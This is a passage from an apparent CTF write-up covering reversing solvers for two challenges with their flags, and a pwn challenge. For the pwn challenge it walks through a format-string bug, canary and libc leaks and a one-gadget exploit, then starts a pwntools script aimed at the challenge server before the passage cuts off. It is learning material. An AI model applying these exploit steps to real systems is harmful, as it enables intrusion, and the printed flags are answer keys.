class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span>c1<span class=\"token punctuation\">,</span>c2\n\nflag <span class=\"token operator\">=</span> <span class=\"token punctuation\">[</span><span class=\"token builtin\">ord</span><span class=\"token punctuation\">(</span>c<span class=\"token punctuation\">)</span> <span class=\"token keyword\">for</span> c <span class=\"token keyword\">in</span> <span class=\"token string\">\"ictf{AAAAAAAAAAAAAAAAAAAAAAAAAAA}\"</span><span class=\"token punctuation\">]</span>\nans <span class=\"token operator\">=</span> <span class=\"token punctuation\">[</span><span class=\"token number\">0xb4</span><span class=\"token punctuation\">,</span><span class=\"token number\">0x31</span><span class=\"token punctuation\">,</span><span class=\"token number\">0x8e</span><span class=\"token punctuation\">,</span><span class=\"token number\">0x02</span><span class=\"token punctuation\">,</span><span class=\"token number\">0xaf</span><span class=\"token punctuation\">,</span><span class=\"token number\">0x1c</span><span class=\"token punctuation\">,</span><span class=\"token number\">0x5d</span><span class=\"token punctuation\">,</span><span class=\"token number\">0x23</span><span class=\"token punctuation\">,</span><span class=\"token number\">0x98</span><span class=\"token punctuation\">,</span><span class=\"token number\">0x7d</span><span class=\"token punctuation\">,</span><span class=\"token number\">0xa3</span><span class=\"token punctuation\">,</span><span class=\"token number\">0x1e</span><span class=\"token punctuation\">,</span><span class=\"token number\">0xb0</span><span class=\"token punctuation\">,</span><span class=\"token number\">0x3c</span><span class=\"token punctuation\">,</span><span class=\"token number\">0xb3</span><span class=\"token punctuation\">,</span><span class=\"token number\">0xc4</span><span class=\"token punctuation\">,</span><span class=\"token number\">0xa6</span><span class=\"token punctuation\">,</span><span class=\"token number\">0x06</span><span class=\"token punctuation\">,</span><span class=\"token number\">0x58</span><span class=\"token punctuation\">,</span><span class=\"token number\">0x28</span><span class=\"token punctuation\">,</span><span class=\"token number\">0x19</span><span class=\"token punctuation\">,</span><span class=\"token number\">0x7d</span><span class=\"token punctuation\">,</span><span class=\"token number\">0xa3</span><span class=\"token punctuation\">,</span><span class=\"token number\">0xc0</span><span class=\"token punctuation\">,</span><span class=\"token number\">0x85</span><span class=\"token punctuation\">,</span><span class=\"token number\">0x31</span><span class=\"token punctuation\">,</span><span class=\"token number\">0x68</span><span class=\"token punctuation\">,</span><span class=\"token number\">0x0a</span><span class=\"token punctuation\">,</span><span class=\"token number\">0xbc</span><span class=\"token punctuation\">,</span><span class=\"token number\">0x03</span><span class=\"token punctuation\">,</span><span class=\"token number\">0x5d</span><span class=\"token punctuation\">,</span><span class=\"token number\">0x3d</span><span class=\"token punctuation\">,</span><span class=\"token number\">0x0b</span><span class=\"token punctuation\">]</span>\ntarget <span class=\"token operator\">=</span> <span class=\"token number\">5</span>\nret <span class=\"token operator\">=</span> <span class=\"token string\">\"ictf{\"</span>\n\n<span class=\"token comment\"># The order here matters (otherwise multiple candidates match)</span>\nl <span class=\"token operator\">=</span> <span class=\"token punctuation\">[</span><span class=\"token builtin\">ord</span><span class=\"token punctuation\">(</span>c<span class=\"token punctuation\">)</span> <span class=\"token keyword\">for</span> c <span class=\"token keyword\">in</span> <span class=\"token string\">\"0}{nopqrstuvwxyz_123456789abcdefghijklm\"</span><span class=\"token punctuation\">]</span>\n<span class=\"token keyword\">for</span> target <span class=\"token keyword\">in</span> <span class=\"token builtin\">range</span><span class=\"token punctuation\">(</span><span class=\"token number\">5</span><span class=\"token punctuation\">,</span><span class=\"token number\">33</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n    <span class=\"token keyword\">for</span> k <span class=\"token keyword\">in</span> l<span class=\"token punctuation\">:</span>\n        c1<span class=\"token punctuation\">,</span>c2 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">,</span><span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n        <span class=\"token keyword\">for</span> n <span class=\"token keyword\">in</span> <span class=\"token builtin\">range</span><span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">,</span>target<span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n            x<span class=\"token punctuation\">,</span>c1<span class=\"token punctuation\">,</span>c2 <span class=\"token operator\">=</span> iterate<span class=\"token punctuation\">(</span>n<span class=\"token punctuation\">,</span>flag<span class=\"token punctuation\">,</span>c1<span class=\"token punctuation\">,</span>c2<span class=\"token punctuation\">)</span>\n        flag<span class=\"token punctuation\">[</span>target<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> k\n        x<span class=\"token punctuation\">,</span>c1<span class=\"token punctuation\">,</span>c2 <span class=\"token operator\">=</span> iterate<span class=\"token punctuation\">(</span>target<span class=\"token punctuation\">,</span>flag<span class=\"token punctuation\">,</span>c1<span class=\"token punctuation\">,</span>c2<span class=\"token punctuation\">)</span>\n        <span class=\"token comment\"># print(hex(x),chr(k))</span>\n        <span class=\"token keyword\">if</span> x <span class=\"token operator\">==</span> ans<span class=\"token punctuation\">[</span>target<span class=\"token punctuation\">]</span><span class=\"token punctuation\">:</span>\n            <span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span>target<span class=\"token punctuation\">)</span>\n            ret <span class=\"token operator\">+=</span> <span class=\"token builtin\">chr</span><span class=\"token punctuation\">(</span>k<span class=\"token punctuation\">)</span>\n            <span class=\"token keyword\">break</span>\n\n<span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span>ret<span class=\"token punctuation\">)</span>\n\n<span class=\"token comment\"># ictf{m0r3_than_1_way5_t0_c0n7r0l}</span></code></pre></div>\n<p>One tricky part was that <code class=\"language-text\">iterate</code> produces duplicate results fairly often, so depending on the brute-force validation order you can end up with a completely different string.</p>\n<h2 id=\"watchdogrev\" style=\"position:relative;\"><a href=\"#watchdogrev\" aria-label=\"watchdogrev permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>watchdog(Rev)</h2>\n<blockquote>\n<p>The keepers of the Watchdog vault have forgotten their password. Can you help them retrieve it?</p>\n</blockquote>\n<p>Decompiling the binary shows that <code class=\"language-text\">main</code> first checks whether the input length is <code class=\"language-text\">0x2b</code>, then verifies whether the vector table produced by <code class=\"language-text\">evalMultiPoly</code> matches a hardcoded set of values.</p>\n<p>In <code class=\"language-text\">evalMultiPoly</code>, <code class=\"language-text\">evalVectPoly</code> is called once for each input character, and each result is stored in the returned vector table.</p>\n<p>The <code class=\"language-text\">evalVectPoly</code> function appears to evaluate a polynomial-like sum such as <code class=\"language-text\">result = pow(n+2,length-1) + pow(n+2,length-2) ... + pow(n+2,0)</code>.</p>\n<div class=\"gatsby-highlight\" data-language=\"c\"><pre class=\"language-c\"><code class=\"language-c\"><span class=\"token class-name\">int64_t</span> <span class=\"token function\">evalVectPoly</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">int64_t</span><span class=\"token operator\">*</span> copied_input_vector<span class=\"token punctuation\">,</span> <span class=\"token class-name\">int64_t</span> n<span class=\"token operator\">+</span><span class=\"token number\">2</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">{</span>\n    <span class=\"token class-name\">int64_t</span> result <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span>\n    \n    <span class=\"token keyword\">for</span> <span class=\"token punctuation\">(</span><span class=\"token class-name\">int32_t</span> i <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span><span class=\"token function\">vector_size</span><span class=\"token punctuation\">(</span>copied_input_vector<span class=\"token punctuation\">)</span> <span class=\"token operator\">-</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span> i <span class=\"token operator\">>=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span> i <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        <span class=\"token class-name\">int64_t</span> rbx_1 <span class=\"token operator\">=</span> <span class=\"token operator\">*</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">uint64_t</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span><span class=\"token function\">v_operator</span><span class=\"token punctuation\">(</span>copied_input_vector<span class=\"token punctuation\">,</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token function\">vector_size</span><span class=\"token punctuation\">(</span>copied_input_vector<span class=\"token punctuation\">)</span> <span class=\"token operator\">-</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">int64_t</span><span class=\"token punctuation\">)</span>i<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">-</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n        <span class=\"token comment\">// function that computes exponentiation in O(logn)</span>\n        <span class=\"token comment\">// pow(n+2,lengh)</span>\n        result <span class=\"token operator\">+=</span> <span class=\"token punctuation\">(</span><span class=\"token function\">my_pow</span><span class=\"token punctuation\">(</span>n<span class=\"token operator\">+</span><span class=\"token number\">2</span><span class=\"token punctuation\">,</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">int64_t</span><span class=\"token punctuation\">)</span>i<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">*</span> rbx_1<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    <span class=\"token keyword\">return</span> result<span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span></code></pre></div>\n<p>From there, rewriting the logic as a Python script and using Z3Py is enough to recover the flag.</p>\n<p>One thing to watch out for is the size of the symbolic <code class=\"language-text\">flag</code> variables: if they are too small, the later calculations can no longer be evaluated, so they need to be 64-bit.</p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\">answer <span class=\"token operator\">=</span> <span class=\"token punctuation\">[</span>\n\t<span class=\"token number\">0x348a627d10659</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x27485a840365fe61</span><span class=\"token punctuation\">,</span>\n\t<span class=\"token number\">0x9e735dadf26d31cd</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x82714bc9f9b579d9</span><span class=\"token punctuation\">,</span>\n\t<span class=\"token number\">0x3dfb7cc801d16bc9</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x602a04efe5dad659</span><span class=\"token punctuation\">,</span>\n\t<span class=\"token number\">0xeb801d915a30d3d</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x217dbe10edcb20a1</span><span class=\"token punctuation\">,</span>\n\t<span class=\"token number\">0xadee2637e875ca19</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xcd44aed238e9871</span><span class=\"token punctuation\">,</span>\n\t<span class=\"token number\">0xd3bff76ae6b504d</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x7181426eff59e789</span><span class=\"token punctuation\">,</span>\n\t<span class=\"token number\">0x477616cb20c2dac9</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xce1206e1e46ce4a9</span><span class=\"token punctuation\">,</span>\n\t<span class=\"token number\">0x946e7cb964a3f87d</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x0499607cbf0c3291</span><span class=\"token punctuation\">,</span>\n\t<span class=\"token number\">0x6871d4372347c759</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x075412f56b7d8b01</span><span class=\"token punctuation\">,</span>\n\t<span class=\"token number\">0xf8e57c264786e34d</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x194ca6020ec505b9</span><span class=\"token punctuation\">,</span>\n\t<span class=\"token number\">0x3e1a22e34fe84949</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xa46de25172742b79</span><span class=\"token punctuation\">,</span>\n\t<span class=\"token number\">0xcd0e971bcbfe6e3d</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x56561961138a2501</span><span class=\"token punctuation\">,</span>\n\t<span class=\"token number\">0x78d2b538ab53ca19</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xa9980ca75ab6d611</span><span class=\"token punctuation\">,</span>\n\t<span class=\"token number\">0x5f81576b5d4716cd</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x17b9860825b93469</span><span class=\"token punctuation\">,</span>\n\t<span class=\"token number\">0xc012f75269298349</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x17373ee9c7a3aac9</span><span class=\"token punctuation\">,</span>\n\t<span class=\"token number\">0xb2e50798b11e1a7d</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xada5a6562e0fd7f1</span><span class=\"token punctuation\">,</span>\n\t<span class=\"token number\">0xec3d9a68f1c99e59</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x3d828b35505d79a1</span><span class=\"token punctuation\">,</span>\n\t<span class=\"token number\">0xf76e5264f7bd16cd</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xdd230b3ec48ed399</span><span class=\"token punctuation\">,</span>\n\t<span class=\"token number\">0x80d93363dcd354c9</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x7031567681e76299</span><span class=\"token punctuation\">,</span>\n\t<span class=\"token number\">0x8977338cd4e2a93d</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x8a5708a1d4c02b61</span><span class=\"token punctuation\">,</span>\n\t<span class=\"token number\">0x2066296a21501019</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x9e260d94a4d775b1</span><span class=\"token punctuation\">,</span>\n\t<span class=\"token number\">0xe7667bbd72280f4d</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x12df4035e1684349</span>\n<span class=\"token punctuation\">]</span>\n\n<span class=\"token keyword\">from</span> z3 <span class=\"token keyword\">import</span> <span class=\"token operator\">*</span>\n\n<span class=\"token keyword\">def</span> <span class=\"token function\">evalVectPoly</span><span class=\"token punctuation\">(</span>n<span class=\"token punctuation\">,</span>words<span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n    result <span class=\"token operator\">=</span> <span class=\"token number\">0</span>\n    l <span class=\"token operator\">=</span> <span class=\"token number\">0x2b</span>\n    <span class=\"token keyword\">for</span> i <span class=\"token keyword\">in</span> <span class=\"token builtin\">range</span><span class=\"token punctuation\">(</span><span class=\"token number\">1</span><span class=\"token punctuation\">,</span>l<span class=\"token operator\">+</span><span class=\"token number\">1</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n        result <span class=\"token operator\">+=</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token builtin\">pow</span><span class=\"token punctuation\">(</span>n<span class=\"token punctuation\">,</span>l<span class=\"token operator\">-</span>i<span class=\"token punctuation\">)</span> <span class=\"token operator\">&amp;</span> <span class=\"token number\">0xFFFFFFFFFFFFFFFF</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">*</span> words<span class=\"token punctuation\">[</span>i<span class=\"token operator\">-</span><span class=\"token number\">1</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">&amp;</span> <span class=\"token number\">0xFFFFFFFFFFFFFFFF</span><span class=\"token punctuation\">)</span>\n    <span class=\"token keyword\">return</span> result <span class=\"token operator\">&amp;</span> <span class=\"token number\">0xFFFFFFFFFFFFFFFF</span>\n\n\n<span class=\"token comment\"># make the flag vector size 64-bit</span>\nflag <span class=\"token operator\">=</span> <span class=\"token punctuation\">[</span>BitVec<span class=\"token punctuation\">(</span><span class=\"token string-interpolation\"><span class=\"token string\">f\"flag[</span><span class=\"token interpolation\"><span class=\"token punctuation\">{</span>i<span class=\"token punctuation\">}</span></span><span class=\"token string\">]\"</span></span><span class=\"token punctuation\">,</span> <span class=\"token number\">64</span><span class=\"token punctuation\">)</span> <span class=\"token keyword\">for</span> i <span class=\"token keyword\">in</span> <span class=\"token builtin\">range</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x2b</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">]</span>\ns <span class=\"token operator\">=</span> Solver<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token keyword\">for</span> i <span class=\"token keyword\">in</span> <span class=\"token builtin\">range</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x2b</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n    s<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>And<span class=\"token punctuation\">(</span>\n        <span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">>=</span> <span class=\"token number\">0x21</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span>\n        <span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">&lt;=</span> <span class=\"token number\">0x7e</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token builtin\">ord</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"i\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">1</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token builtin\">ord</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"c\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">2</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token builtin\">ord</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"t\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">3</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token builtin\">ord</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"f\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">4</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token builtin\">ord</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"{\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n\nn <span class=\"token operator\">=</span> <span class=\"token number\">2</span>\n<span class=\"token keyword\">for</span> a <span class=\"token keyword\">in</span> answer<span class=\"token punctuation\">:</span>\n    s<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>a <span class=\"token operator\">==</span> evalVectPoly<span class=\"token punctuation\">(</span>n<span class=\"token punctuation\">,</span>flag<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n    n <span class=\"token operator\">+=</span> <span class=\"token number\">1</span>\n\n<span class=\"token keyword\">while</span> s<span class=\"token punctuation\">.</span>check<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">==</span> sat<span class=\"token punctuation\">:</span>\n    m <span class=\"token operator\">=</span> s<span class=\"token punctuation\">.</span>model<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n    <span class=\"token keyword\">for</span> c <span class=\"token keyword\">in</span> flag<span class=\"token punctuation\">:</span>\n        <span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span><span class=\"token builtin\">chr</span><span class=\"token punctuation\">(</span>m<span class=\"token punctuation\">[</span>c<span class=\"token punctuation\">]</span><span class=\"token punctuation\">.</span>as_long<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span>end<span class=\"token operator\">=</span><span class=\"token string\">\"\"</span><span class=\"token punctuation\">)</span>\n    <span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"\"</span><span class=\"token punctuation\">)</span></code></pre></div>\n<p>Running this solver reveals that <code class=\"language-text\">ictf{i_l0ve_interp0lati0n_2ca38d6ef0a709e0}</code> is the correct flag.</p>\n<h2 id=\"imgstorepwn\" style=\"position:relative;\"><a href=\"#imgstorepwn\" aria-label=\"imgstorepwn permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>imgstore(Pwn)</h2>\n<blockquote>\n<p>Back to the old school.</p>\n</blockquote>\n<p>Decompiling the binary shows an application where you can choose and run three functions: List, Buy, and Sell.</p>\n<p>At this point, it becomes clear that the <code class=\"language-text\">sell_book</code> function has a format string bug (FSB).</p>\n<p>It will only call the <code class=\"language-text\">vuln</code> function, which has a buffer overflow vulnerability, if the four-byte random value generated at runtime multiplied by <code class=\"language-text\">0x13f5c223</code> matches a specific hardcoded value.</p>\n<div class=\"gatsby-highlight\" data-language=\"c\"><pre class=\"language-c\"><code class=\"language-c\"><span class=\"token class-name\">int64_t</span> <span class=\"token function\">sell_book</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">void</span><span class=\"token operator\">*</span> fsbase\n    <span class=\"token class-name\">int64_t</span> rax <span class=\"token operator\">=</span> <span class=\"token operator\">*</span><span class=\"token punctuation\">(</span>fsbase <span class=\"token operator\">+</span> <span class=\"token number\">0x28</span><span class=\"token punctuation\">)</span>\n    <span class=\"token class-name\">int32_t</span> fd <span class=\"token operator\">=</span> <span class=\"token function\">open</span><span class=\"token punctuation\">(</span>file<span class=\"token operator\">:</span> <span class=\"token string\">\"/dev/urandom\"</span><span class=\"token punctuation\">,</span> oflag<span class=\"token operator\">:</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token class-name\">uint32_t</span> buf\n    <span class=\"token function\">read</span><span class=\"token punctuation\">(</span>fd<span class=\"token punctuation\">,</span> <span class=\"token operator\">&amp;</span>buf<span class=\"token punctuation\">,</span> nbytes<span class=\"token operator\">:</span> <span class=\"token number\">4</span><span class=\"token punctuation\">)</span>\n    <span class=\"token function\">close</span><span class=\"token punctuation\">(</span>fd<span class=\"token punctuation\">)</span>\n    buf <span class=\"token operator\">=</span> zx<span class=\"token punctuation\">.</span><span class=\"token function\">d</span><span class=\"token punctuation\">(</span>buf<span class=\"token punctuation\">.</span>w<span class=\"token punctuation\">)</span>\n    <span class=\"token keyword\">char</span> i\n    \n    <span class=\"token keyword\">do</span>\n        <span class=\"token function\">printf</span><span class=\"token punctuation\">(</span>format<span class=\"token operator\">:</span> <span class=\"token string\">\"Enter book title: \"</span><span class=\"token punctuation\">)</span>\n        <span class=\"token keyword\">void</span> input\n        <span class=\"token function\">fgets</span><span class=\"token punctuation\">(</span>buf<span class=\"token operator\">:</span> <span class=\"token operator\">&amp;</span>input<span class=\"token punctuation\">,</span> n<span class=\"token operator\">:</span> <span class=\"token number\">0x32</span><span class=\"token punctuation\">,</span> fp<span class=\"token operator\">:</span> <span class=\"token constant\">stdin</span><span class=\"token punctuation\">)</span>\n        <span class=\"token function\">printf</span><span class=\"token punctuation\">(</span>format<span class=\"token operator\">:</span> <span class=\"token string\">\"Book title --> \"</span><span class=\"token punctuation\">)</span>\n        <span class=\"token function\">printf</span><span class=\"token punctuation\">(</span>format<span class=\"token operator\">:</span> <span class=\"token operator\">&amp;</span>input<span class=\"token punctuation\">)</span>\n        <span class=\"token function\">puts</span><span class=\"token punctuation\">(</span>str<span class=\"token operator\">:</span> <span class=\"token operator\">&amp;</span>unk1<span class=\"token punctuation\">)</span>\n        \n        <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>buf <span class=\"token operator\">*</span> <span class=\"token number\">0x13f5c223</span> <span class=\"token operator\">==</span> data_6050<span class=\"token punctuation\">)</span>\n            data_608c <span class=\"token operator\">=</span> <span class=\"token number\">2</span>\n            <span class=\"token function\">vuln</span><span class=\"token punctuation\">(</span>data_608c<span class=\"token punctuation\">)</span>\n        \n        <span class=\"token function\">puts</span><span class=\"token punctuation\">(</span>str<span class=\"token operator\">:</span> <span class=\"token string\">\"Sorry, we already have the same …\"</span><span class=\"token punctuation\">)</span>\n        <span class=\"token function\">printf</span><span class=\"token punctuation\">(</span>format<span class=\"token operator\">:</span> <span class=\"token string\">\"Still interested in selling your…\"</span><span class=\"token punctuation\">)</span>\n        <span class=\"token function\">__isoc99_scanf</span><span class=\"token punctuation\">(</span>format<span class=\"token operator\">:</span> <span class=\"token operator\">&amp;</span>data_38a7<span class=\"token punctuation\">,</span> <span class=\"token operator\">&amp;</span>i<span class=\"token punctuation\">)</span>\n        <span class=\"token function\">getchar</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>i <span class=\"token operator\">==</span> <span class=\"token number\">0x79</span><span class=\"token punctuation\">)</span>\n    <span class=\"token function\">puts</span><span class=\"token punctuation\">(</span>str<span class=\"token operator\">:</span> <span class=\"token operator\">&amp;</span>unk1<span class=\"token punctuation\">)</span>\n    <span class=\"token function\">printf</span><span class=\"token punctuation\">(</span>format<span class=\"token operator\">:</span> <span class=\"token string\">\"%s[-] Exiting program..%s\\n\"</span><span class=\"token punctuation\">,</span> <span class=\"token string\">\"\\x1b[31m\"</span><span class=\"token punctuation\">,</span> <span class=\"token string\">\"\\x1b[0m\"</span><span class=\"token punctuation\">)</span>\n    <span class=\"token function\">sleep</span><span class=\"token punctuation\">(</span>seconds<span class=\"token operator\">:</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span>\n    <span class=\"token class-name\">int64_t</span> result <span class=\"token operator\">=</span> rax <span class=\"token operator\">^</span> <span class=\"token operator\">*</span><span class=\"token punctuation\">(</span>fsbase <span class=\"token operator\">+</span> <span class=\"token number\">0x28</span><span class=\"token punctuation\">)</span>\n    \n    <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>result <span class=\"token operator\">==</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n        <span class=\"token keyword\">return</span> result\n    \n    <span class=\"token function\">__stack_chk_fail</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n    noreturn\n<span class=\"token punctuation\">}</span></code></pre></div>\n<p>For the exploit, I sent payloads in the following steps.</p>\n<ol>\n<li>Abuse the FSB to leak the random 4-byte value, the address of <code class=\"language-text\">data_6050</code>, the canary, and the libc base address</li>\n<li>Use the FSB to write the runtime-generated 4-byte value multiplied by <code class=\"language-text\">0x13f5c223</code> to the address of <code class=\"language-text\">data_6050</code></li>\n<li>Invoke the <code class=\"language-text\">vuln</code> function and trigger a one-gadget</li>\n</ol>\n<p>I wrote the following solver to solve this challenge.</p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\"><span class=\"token keyword\">import</span> re\n<span class=\"token keyword\">from</span> pwn <span class=\"token keyword\">import</span> <span class=\"token operator\">*</span>\n\n<span class=\"token comment\"># Set context</span>\ncontext<span class=\"token punctuation\">.</span>arch <span class=\"token operator\">=</span> <span class=\"token string\">\"amd64\"</span>\ncontext<span class=\"token punctuation\">.</span>endian <span class=\"token operator\">=</span> <span class=\"token string\">\"little\"</span>\ncontext<span class=\"token punctuation\">.</span>word_size <span class=\"token operator\">=</span> <span class=\"token number\">64</span>\n\n<span class=\"token comment\"># Set target</span>\nTARGET_PATH <span class=\"token operator\">=</span> <span class=\"token string\">\"./imgstore_patched\"</span>\nexe <span class=\"token operator\">=</span> ELF<span class=\"token punctuation\">(</span>TARGET_PATH<span class=\"token punctuation\">)</span>\n\ntarget <span class=\"token operator\">=</span> remote<span class=\"token punctuation\">(</span><span class=\"token string\">\"imgstore.chal.imaginaryctf.org\"</span><span class=\"token punctuation\">,</span> <span class=\"token number\">1337</span><span class=\"token punctuation\">,</span> ssl<span class=\"token operator\">=</span><span class=\"token boolean\">False</span><span class=\"token 